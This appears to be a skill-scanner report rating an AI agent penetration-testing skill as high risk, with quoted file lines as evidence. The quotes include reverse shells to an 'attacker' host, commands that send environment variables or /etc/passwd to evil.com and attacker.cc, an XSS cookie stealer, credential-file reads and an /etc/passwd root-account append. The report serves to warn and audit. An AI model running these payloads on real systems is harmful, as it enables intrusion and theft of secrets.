eni-pentest-tools
20 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a coding skill usually runs build and test commands.
By longwangjiang88/SusuAIOverclock-pojia (GitHub) · coding · 42 stars · scanned at commit 667b2db
[DOCUMENTATION ONLY] [???] Penetration-testing tool selection and orchestration reference.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 123 places.
- packed-packs/dsh/materials/skills/eni-pentest-tools/SKILL.md, line 80
| **Impacket** | Windows 协议利用(SMB/WMI/Kerberos) | `pip install impacket` | - packed-packs/dsh/materials/skills/eni-pentest-tools/SKILL.md, line 197
| Nuclei | ✓ | `go install` 或 GitHub Release | 需要 Go 或直接下载二进制 | - packed-packs/dsh/materials/skills/eni-pentest-tools/SKILL.md, line 198
| SQLMap | ✓ | `pip install sqlmap` 或 git clone | Python |
Show 17 more
- packed-packs/dsh/materials/skills/eni-pentest-tools/SKILL.md, line 204
| Impacket | ✓ | `pip install impacket` | Python | - packed-packs/dsh/materials/skills/eni-pentest-tools/SKILL.md, line 205
| ProxyCat | ✓ | `pip install proxycat` | 代理池中间件(批量扫描防封) | - packed-packs/dsh/materials/skills/eni-pentest-tools/SKILL.md, line 225
- Nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - packed-packs/dsh/materials/skills/eni-pentest-tools/SKILL.md, line 226
- SQLMap: pip install sqlmap - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 80
| **Impacket** | Windows 协议利用(SMB/WMI/Kerberos) | `pip install impacket` | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 197
| Nuclei | ✓ | `go install` 或 GitHub Release | 需要 Go 或直接下载二进制 | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 198
| SQLMap | ✓ | `pip install sqlmap` 或 git clone | Python | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 204
| Impacket | ✓ | `pip install impacket` | Python | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 205
| ProxyCat | ✓ | `pip install proxycat` | 代理池中间件(批量扫描防封) | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 225
- Nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 226
- SQLMap: pip install sqlmap - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 80
| **Impacket** | Windows 协议利用(SMB/WMI/Kerberos) | `pip install impacket` | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 197
| Nuclei | ✓ | `go install` 或 GitHub Release | 需要 Go 或直接下载二进制 | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 198
| SQLMap | ✓ | `pip install sqlmap` 或 git clone | Python | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 204
| Impacket | ✓ | `pip install impacket` | Python | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 205
| ProxyCat | ✓ | `pip install proxycat` | 代理池中间件(批量扫描防封) | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 225
- Nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
and 103 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 342 places.
- packed-packs/dsh/materials/skills/eni-pentest-tools/SKILL.md, line 97
docker pull ramkansal/pentestmcp - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 97
docker pull ramkansal/pentestmcp - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/SKILL.md, line 97
docker pull ramkansal/pentestmcp
Show 17 more
- packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 1084
{"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"} - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 150
<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 293
?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 757
POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 868
?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 412
; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 414
; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subpro - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 717
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 59
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}} - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 170
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 174
- ` ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}` — 参数与载荷内容 _va - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 401
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 523
{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")} - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 619
${self.module.cache.util.os.popen("id").read()} - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 620
${self.module.cache.util.os.popen("whoami").read()} - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 621
${self.module.cache.util.os.system("id")} - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 624
- `os.popen()` — 打开管道执行命令 _function_
and 322 more places
Sends data to these websites: api.ipify.org, crt.sh, raw.githubusercontent.com, attacker.com, api.target.com, target.com, target$path, target, attacker.cc, 169.254.169.254 and 1 more
The author does not mention this.
Found in 2211 places.
- packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/references/burpsuite-mcp-guide.md, line 749
curl http://127.0.0.1:9876/health - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/references/msf-protocol.md, line 133
- 公网 IP 不知道时:`curl -s https://api.ipify.org` - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/references/network-attack-defense.md, line 37
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value'
Show 17 more
- packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/references/pentest-ai-agents-matrix.md, line 11
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/references/web-attack-cheatsheet.md, line 79
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/references/web-attack-cheatsheet.md, line 192
curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/references/web-attack-cheatsheet.md, line 320
fetch('https://target.com/api/change-email', { - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 477
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 483
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 491
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md, line 246
curl -s http://target/ | grep -iE "(seeyon|tongda|weaver|yongyou|kingdee|landray|jeecg|ruoyi|nacos|druid)" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/industry/banking-finance.md, line 100
curl -X POST https://target/pay/notify \ - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/industry/banking-finance.md, line 106
curl -X POST https://target/pay/notify -d "out_trade_no=ORDER001&trade_status=SUCCESS" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 173
curl https://attacker.cc/?d=`whoami` - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 174
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/ - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 245
AWS-IMDSv2 curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 18
curl -k https://exchange.com/owa/auth/x.js - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 67
curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 110
curl -k https://exchange.com/owa/auth/logon.aspx - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 118
curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml
and 2191 more places
Changes files outside its own folder
The author does not mention this.
Found in 9 places.
- packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/references/network-attack-defense.md, line 128
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
Show 6 more
- packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/references/network-attack-defense.md, line 128
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - packed-packs/dsh/materials/skills/eni-pentest-tools/references/network-attack-defense.md, line 128
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` | - packed-packs/dsh/materials/skills/eni-pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - packed-packs/dsh/materials/skills/eni-pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
Contains code that is hidden or hard to read
The author does not mention this.
Found in 45 places.
- packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 124
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 426
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash
Show 17 more
- packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1311
- `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Ima - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1441
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1445
- `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/rce.md, line 222
| 命令字过滤 | base64:`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/rce.md, line 2254
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/rce.md, line 2432
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/xss.md, line 135
eval(atob('YWxlcnQoMSk=')) - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/xss.md, line 877
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/xss.md, line 1079
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/xss.md, line 1156
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 124
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 426
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne
and 25 more places
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 27 places.
- packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1212
"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null", - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/raw/tools.json, line 4141
"command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD",
Show 17 more
- packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 906
with open("/root/.ssh/id_rsa", "r") as f: - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥(不要使用) - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/rce.md, line 288
→ 横向(看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json) - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/rce.md, line 4423
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1212
"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null", - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/raw/tools.json, line 4141
"command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD", - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 906
with open("/root/.ssh/id_rsa", "r") as f: - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥(不要使用) - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/rce.md, line 288
→ 横向(看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json) - packed-packs/dsh/materials/skills/eni-pentest-tools/eni-pentest-tools/src-hunter/references/playbooks/rce.md, line 4423
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - packed-packs/dsh/materials/skills/eni-pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - packed-packs/dsh/materials/skills/eni-pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1212
"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null",
and 7 more places
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
- 95 Low riskpentest-commandssickn33/agentic-awesome-skills · 49,524 stars
- 100 Low riskeni-redteam-container-detail-packalicewe1/alice_skill · 63 stars
- 100 Low riskeni-redteam-doctrinealicewe1/alice_skill · 63 stars
Other copies in this repository
longwangjiang88/SusuAIOverclock-pojia has 3 more folders with a skill named eni-pentest-tools. This page shows the lowest-scoring copy.
- packed-packs/codex/materials/skills/eni-pentest-tools 20/100 · High risk
- packed-packs/codex/materials/skills/eni-pentest-tools/eni-pentest-tools 20/100 · High risk
- packed-packs/codex/materials/skills/eni-pentest-tools/eni-pentest-tools/eni-pentest-tools 20/100 · High risk
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'eni-pentest-tools' ] || [ -L ~/.agents/skills/'eni-pentest-tools' ]; then echo 'A skill folder named eni-pentest-tools already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/longwangjiang88/SusuAIOverclock-pojia' "$d" && git -C "$d" checkout --quiet '667b2db2746516eae05412bbdcad77515d528f37' -- 'packed-packs/dsh/materials/skills/eni-pentest-tools' && mkdir -p ~/.agents/skills && cp -R "$d"/'packed-packs/dsh/materials/skills/eni-pentest-tools' ~/.agents/skills/'eni-pentest-tools' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'eni-pentest-tools' ~/.claude/skills/'eni-pentest-tools' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for longwangjiang88/SusuAIOverclock-pojia shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/longwangjiang88/SusuAIOverclock-pojia/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-08 | 667b2db | 55 |